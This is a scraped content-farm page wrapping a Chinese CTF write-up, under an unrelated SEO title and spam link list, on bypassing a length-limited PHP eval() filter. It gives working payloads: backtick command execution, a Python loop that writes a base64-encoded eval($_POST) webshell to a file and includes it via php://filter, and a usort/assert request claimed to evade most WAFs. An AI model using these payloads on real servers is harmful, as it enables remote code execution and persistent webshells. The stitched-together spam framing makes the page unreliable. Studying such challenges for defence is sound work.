当前位置: 首页 > news >正文

门户网站建设探究做视频教学网站

门户网站建设探究,做视频教学网站,亚马逊超级浏览器,网页快速收录目录 题目源码 方法一&#xff1a;命令执行的利用 方法二&#xff1a;file_put_contents&#xff08;本地文件包含的利用&#xff09; 方法三&#xff1a;usort(…$_GET); 题目源码 <?php $param $_REQUEST[param]; if(strlen($param)<17 && stripos($par…

目录

题目源码

方法一:命令执行的利用

方法二:file_put_contents(本地文件包含的利用)

方法三:usort(…$_GET);


题目源码

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {eval($param);
}
?>

根据题目:传参的长度不能长于17,并且不能存在eval和assert

方法一:命令执行的利用

        反引号可以用来执行命令,当我们传入参数时,反引号里面的内容会执行,然后再传给param接收,此时如果我们通过参数1注入我们想要执行的命令,那我们的命令将会被执行。

注意:eval命令结束必须存在 ; 

?param=`$_GET[1]`;&1=whoami

ok,命令执行成功。

方法二:file_put_contents(本地文件包含的利用)

查询官方文档,发现file_put_contents 可以将字符一个个地写入一个文件中,使用file_put_contents需要三个参数:

filename要被写入数据的文件名。

data要写入的数据。类型可以是 string,array 或者是 stream 资源。

        如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。

        参数 data 可以是数组(但不能为多维数组),相当于 file_put_contents($filename, join('', $array))

flags:flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

从官方给出的例子来看,我们可以得到下面的命令:

?param=$_GET[1](filename,Data,files);&1=file_put_contents

如果我们传入的payload是这样的,很明显不对,超出了长度,我通过在网络上查询发现,第三个参数在php底层C语言中可以用8表示。

所以我们可以:

?param=$_GET[a](N,a,8);&a=file_put_contents

file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

成功传入。

我们可以用这种方法写入我们的一句话木马,,但是使用file_put_contents这个函数时无法对一些特殊字符生效,所以我们得将一句话木马进行base64编码

但是一个一个传入太过繁琐,使用python编写一个脚本就可以实现了

import requestsstring = "PD9waHAgZXZhbCgkX1BPU1RbOV0pOw"for i in string:payload = "http://192.168.44.136/web.php?param=$_GET[1](N,{},8);&1=file_put_contents".format(i)response = requests.get(payload)if response.status_code == 200:print(i)else:print(response.status_code)

可以看出,运行成功了,去查看一下文件N中是否写入。

确实写入了我们的一句话木马的base64编码,接下来传入下面的payload

?param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N

方法三:usort(…$_GET);

tip:此方法为php5的特性

POST /web.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22param=usort(...$_GET);

利用抓包工具进行抓包,然后将包修改为如上:

        GET变量被展开成两个参数`['test', 'phpinfo();']`和`assert`,传入usort函数。usort函数的第二个参数是一个回调函数`assert`,其调用了第一个参数中的`phpinfo();`。修改`phpinfo();`为webshell即可。

ok,完成。

注意,这个方法基本无视任何WAF。

http://www.yayakq.cn/news/180544/

相关文章:

  • 宁波做亚马逊网站百度seo在哪里
  • 万网云虚拟主机上传网站东莞厚街有什么好玩的地方
  • 贵阳查房子备案的网站外贸网站 设计
  • 网站cms系统排名什么行业最需要做网站建设
  • 做网站的标签什么意思seo做的好的网站
  • 学网站开发应该学什么天津市建设交易中心网站
  • 东莞搜索seo网站关键词优化杭州网站建设及推广
  • 什么是商务网站餐饮vi设计开题报告范文
  • wordpress建站 图片西安建设工程中心交易网站
  • 沈阳大型网站建设全球搜索引擎入口
  • 外国网站上做雅思考试中宁企业网络推广联系人
  • 东台做网站的小程序游戏开发成本
  • 长安做网站公司国外办公室设计欣赏
  • 网站开发前准备360排名检测
  • 网站建设渠道电商网站建设 网站定制开发
  • 安全狗网站白名单指什么在线设计海报网站
  • 网站建设谈单流程网站建设 主要内容
  • 国外上国内网站很慢网站建设顶呱呱
  • 如何做网站建设方案深圳电商平台网站建设
  • 网站本地建设个人网站建设费用
  • 为新创业公司建设网站职业生涯规划大赛含金量
  • 深圳企业模板网站建设陕西建设信息网官网
  • vue.js做网站我国档案网站建设比较分析
  • 网站建设方案书 腾讯wordpress 恢复数据库 白屏
  • 怎么备案网站章丘网站建设哪家好
  • 网站建立不安全wordpress通知
  • 如何设计网站栏目公司电商网站开发合同范本
  • 做网站约需要多少钱wordpress js 统计代码
  • 坦桑尼亚网站域名后缀照片编辑器手机版
  • 博物馆网站建设方案网站的ppt方案怎么做